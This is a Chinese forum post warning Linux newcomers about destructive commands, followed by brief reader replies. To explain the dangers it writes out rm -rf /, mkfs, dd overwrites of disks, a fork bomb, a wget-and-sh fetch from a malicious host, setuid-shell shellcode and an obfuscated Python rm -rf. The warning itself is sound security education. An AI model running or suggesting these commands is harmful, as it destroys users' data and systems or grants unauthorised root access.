文中列出的命令绝对不可以运行,即使你觉得很好奇也不行,除非你是在虚拟机上运行(出现问题你可以还原),因为它们会实实在在的破坏你的系统。所以不在root等高级管理权限下执行命令是很好的习惯。
早晚有一天,Linux 系统会像 Windows 那样流行,用的人越来越多,包括对计算机不是很了解的人,本文的目的就是告诉大家:在 Linux 给你最大程度自由度的同时,也使得破坏系统变得更加容易,如果你不了解某些命令的意义,下载执行包含恶意命令的脚本,或者被骗运行某些命令,很容易让你哭都来不及。
这并不是说明 Linux 不安全,只是说明在不了解 Linux ,和很不小心的人面前,Linux 十分不安全。Windows 也好,Linux 也好,人本身才是最大的不安全因素。
下面的命令会删除你硬盘上的文件,rm 的 -r 递归删除,和 -f 强制删除是很危险的选项,即使日常操作,也会遇到误删文件的情况。
view source
print?
1 sudo rm -rf / 删除根分区全部的文件
2 sudo rm -rf . 删除当前目录下的所有文件
3 sudo rm -rf * 同上
4 rm -rf * or rm -rf *.* 同上
5 rm -rf ~ / & 删除根分区和家目录,即使你不是root,家目录还是不能幸免。
同样,如果你不知道 mkfs.xxxx (xxxx 可以是 vfat、ext2、ext3、bfs……) 是格式化命令的话,运行下面的命令会擦除你的硬盘分区:
view source
print?
1 sudo mkfs.xxxx
dd 是强大的 IO 输入输出定向工具,如果使用不当,破坏性很大,不仅仅是当前分区,当前系统,有的时候是整个硬盘。
view source
print?
1 sudo dd if=/dev/zero of=/dev/sda 全部硬盘清零。
2 sudo dd if=/dev/sda of=/dev/sdb 用第一块硬盘的内容覆盖第二块的内容。
3 sudo dd if=something of=/dev/sda 往硬盘上写垃圾数据。
同理,直接把命令结果定向到硬盘上,相当于往硬盘上写垃圾数据:
view source
print?
1 any_command > /dev/sda 用随意的数据破坏硬盘
上面的 sda 、sdb 也可能是其他类似的名称。Linux 的 /dev 系统给操纵硬件提供了很方便和强大的功能,同时也使得破坏变得更容易。
fork 命令打开一个子进程,如果把 fork 放在无限循环中,最终子进程会耗尽所有内存资源:
view source
print?
1 :(){:|:&};:
这段不知所云的符号,可以让 Shell 不停的 fork 子进程,最后导致内存耗尽,不得不重启,这不是 bug,只是 Shell 语句故意写成简写的形式而已。下面的同理:
view source
print?
1 fork while fork
有的时候,压缩包也是一个破坏来源~
有的压缩包要求你解压到某个系统中已经存在的目录中,这时候你就要特别小心了,压缩包里面可能有成千上万的小文件,以各种文件名尝试覆盖你现有的文件。
有的压缩包看起来很小,但是解压出来是上 GB 的垃圾数据,会充斥你的硬盘。
从不正规网站下载的程序、脚本,同样会有包含恶意命令的危险,不可随便执行:
view source
print?
1 wget http://some_place/some_file
2 sh ./some_file
3 wget http://hax018r.org/malicious-script
4 sh ./malicious-script
载脚本要确保来源正规,如果有能力,可以阅读其代码。
即使有源代码的程序,也不要随便编译执行:
view source
print?
01 char esp[] __attribute__ ((section(".text"))) /* e.s.p
02 release */
03 = "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
04 "xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
05 "xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
06 "x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
07 "x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
08 "xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
09 "x6ex2fx73x68x00x2dx63x00"
10 "cp -p /bin/sh /tmp/.beyond; chmod 4755
11 /tmp/.beyond;";
上面看起来只是一堆没有意义的 16 进制数据,如果有人告诉你,运行这个程序你就可以不输入密码取得系统的 root 权限,你可不要相信他,上面的程序实际运行的是“rm -rf ~ / & ”。
python 一类的脚本语言,同样可以拿来搞破坏:
view source
print?
1 python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg! "]))'
这段程序实际上会执行 rm -rf *,也许你很奇怪上面程序结尾的 “sn!.sg! ” 是什么意思,实际上就是 rm -rf * 每个字母的下一个!
那么我们如何避免运行恶意程序呢?
第一不要用 root 作为日常使用的用户,上面的程序,如果当前用户不是 root,危害的波及范围就会小很多。
第二要知道哪些命令是干什么用的,不知道的命令不要冒然运行。运行有潜在破坏能力的程序,要小心检查自己的输入。
第三要保证软件、脚本的来源正规。
最后一点,虽然比较消极,但是确实十分重要的一点:
经常备份你的数据!!
----------转载至LAMP兄弟连资讯,
闫阳阳 于 2014-03-15 22:52:00发表:
顶
majiang 于 2014-02-28 21:37:52发表:
不错啊
wuruixn 于 2013-01-26 00:58:25发表:
了解一下
lvpeng9696 于 2013-01-04 21:59:13发表:
有的已经类似病毒了。
weienchong 于 2012-11-03 21:07:45发表:
看看 呵呵
nanst 于 2012-08-24 14:17:10发表:
好东西,谢谢分享哦
nanst 于 2012-08-24 14:17:07发表:
好东西,谢谢分享哦
nanst 于 2012-08-24 14:17:04发表:
好东西,谢谢分享哦
jasyzbb 于 2012-08-23 09:03:32发表:
学习了。。。。
shupianwei 于 2012-08-22 23:00:10发表:
蛮有用的~~
xionghuia 于 2012-08-20 21:34:10发表:
了解 了解
pinggomd 于 2012-08-13 21:21:42发表:
学习了,谨记,好好急用,免生后患
wrfearth66 于 2012-08-10 19:46:27发表:
?好吧,?量不用root
过路秋风 于 2012-08-10 15:23:00发表:
学习了,谢谢
afeikuo7 于 2012-07-21 07:46:57发表:
虚拟机的路过~
viforce 于 2012-07-18 12:20:46发表:
表示 有解:0w223dc
ganqzh11 于 2012-02-27 16:56:57发表:
受教
awen_ls 于 2012-01-18 12:38:59发表:
xuexi
love梦 于 2012-01-09 21:01:12发表:
学习中……
linuxunix 于 2012-01-06 13:45:57发表:
这些我全都试验过没什么好怕的,没试过怎么知道呢对吧!
SongXu 于 2011-12-23 21:21:18发表:
注意一下吧
hml1006 于 2011-04-22 14:59:29发表:
不乱搞很难出问题
花开花败2011 于 2011-02-12 17:36:20发表:
我顶啊
秦合六一 于 2010-12-28 17:47:26发表:
确实应该注意了,呵呵
2012linuxroot 于 2010-12-23 15:21:15发表:
没试过,不知道
mycentos 于 2010-12-23 10:50:09发表:
有用。。。
hanmeirong 于 2010-12-22 20:46:03发表:
太危险了!!!
pallana 于 2010-12-17 22:25:39发表:
学习了。
hhylly 于 2010-12-17 15:39:34发表:
呵呵,手误打出这种命令几率也很小呀!不过还是要小心!
linux1102010 于 2010-12-16 22:52:10发表:
见识了......
liudong213 于 2010-12-16 15:08:57发表:
我靠!没有发现啊!
hellojkhjuh 于 2010-12-15 22:20:43发表:
都很恐怖
lsdxxn 于 2010-12-02 16:44:31发表:
每一个都很厉害
sandra 于 2010-12-02 15:22:47发表:
虽然起来很难,慢慢来吧,我是初学者
hdkook 于 2010-12-02 12:33:01发表:
学习了
pl_014 于 2010-12-02 11:53:42发表:
唉,保护密码至关重要啊。
哪天如果系统能禁用这样的命令就好了。
xihu_wy 于 2010-12-01 18:57:19发表:
kankan
bo8362 于 2010-12-01 17:14:53发表:
学习学习了~~~~~
大宝 于 2010-12-01 15:07:16发表:
建个虚拟机,放心大胆的折腾吧~
share1107 于 2010-12-01 13:39:25发表:
不练习怎么会呢./. \/\/\/\/\//\/\/